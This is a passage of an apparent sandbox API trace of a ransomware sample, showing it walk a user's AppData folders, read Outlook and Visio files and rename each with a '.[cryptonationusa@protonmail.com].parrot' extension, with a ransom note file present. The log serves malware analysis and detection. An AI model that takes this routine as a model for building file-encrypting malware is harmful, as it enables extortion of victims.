lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.041] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.041] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3dc8cc40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1 [0077.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.042] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.042] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0077.043] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.043] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x462, lpOverlapped=0x0) returned 1 [0077.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.044] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.044] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\mapisvc.inf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\mapisvc.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.048] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.048] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0077.049] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.049] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0xb9, lpOverlapped=0x0) returned 1 [0077.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.050] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.050] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\outlook.sharing.xml.obi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Outlook.sharing.xml.obi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\outlook.sharing.xml.obi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.052] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.052] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.052] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.054] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.054] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.054] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0077.054] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.054] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.055] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.055] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x104, lpOverlapped=0x0) returned 1 [0077.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.055] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.056] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.062] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.063] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xbb695760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb695760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.063] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb695760, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xbb695760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb695760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0077.063] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0077.064] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.064] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xbb695760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb695760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.065] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xbb66f600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="mapisvc.inf.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MAPISV~1.PAR")) returned 1 [0077.065] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0077.065] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.067] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.068] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.068] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.068] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.068] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2240b88 [0077.068] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.068] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.068] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.068] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.069] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.069] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.069] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.069] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.069] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0077.069] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.069] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.069] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.069] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.070] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.070] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.070] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.070] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.070] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5efe55e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content14.dat", cAlternateFileName="CONTEN~1.DAT")) returned 1 [0077.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.070] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.070] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0077.072] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.072] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x18ce0, lpOverlapped=0x0) returned 1 [0077.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.078] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.081] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.083] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.083] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0077.085] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.085] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1f400, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x1f400, lpOverlapped=0x0) returned 1 [0077.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.093] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.097] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.138] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.138] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xbb753e40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb753e40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.139] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbb6e1a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x18e08, dwReserved0=0x0, dwReserved1=0x0, cFileName="content14.dat.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CONTEN~1.PAR")) returned 1 [0077.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0077.139] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.139] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.140] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.140] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.140] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.140] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1024", cAlternateFileName="")) returned 1 [0077.140] lstrcmpW (lpString1="1024", lpString2=".") returned 1 [0077.140] lstrcmpW (lpString1="1024", lpString2="..") returned 1 [0077.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 